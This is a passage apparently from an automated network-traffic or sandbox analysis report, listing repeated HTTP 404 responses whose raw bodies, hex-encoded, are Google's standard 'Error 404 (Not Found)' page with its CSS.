70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:44 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:47 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:48 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:49 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:52 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:54 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:55 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 